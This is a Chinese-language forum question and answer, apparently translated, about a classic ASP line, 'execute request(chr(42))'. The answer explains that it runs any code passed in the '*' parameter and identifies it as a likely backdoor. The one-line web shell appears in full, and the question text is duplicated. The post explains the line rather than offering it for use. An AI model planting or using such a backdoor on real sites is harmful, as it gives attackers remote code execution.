我遇到了一些访问Request(chr(42))
(如下)并执行它的代码。
<% execute request(chr(42)) %>
我似乎找不到 '*' 会返回什么,因为它似乎不是一个有效的QueryString
变量名。
我遇到了一些访问Request(chr(42))
(如下)并执行它的代码。
<% execute request(chr(42)) %>
我似乎找不到 '*' 会返回什么,因为它似乎不是一个有效的QueryString
变量名。
在经典 ASP 中,您可以调用Request("some_key")
它,它将返回Request.Querystring
(GET) 或Request.Form
(POST) 数据的“some_key”值。
chr(42)
是一个有效的键,因此您可以调用该页面test.asp?*=command
来执行某些操作。
execute
是一个 vbscript/asp 函数,可让您将字符串作为 ASP 代码执行,与eval
. 细节
更新前(不适用):
我只知道Server.Execute方法,它将执行一些其他的 ASP 页面。
总而言之,这似乎是您建议的一些黑客/后门。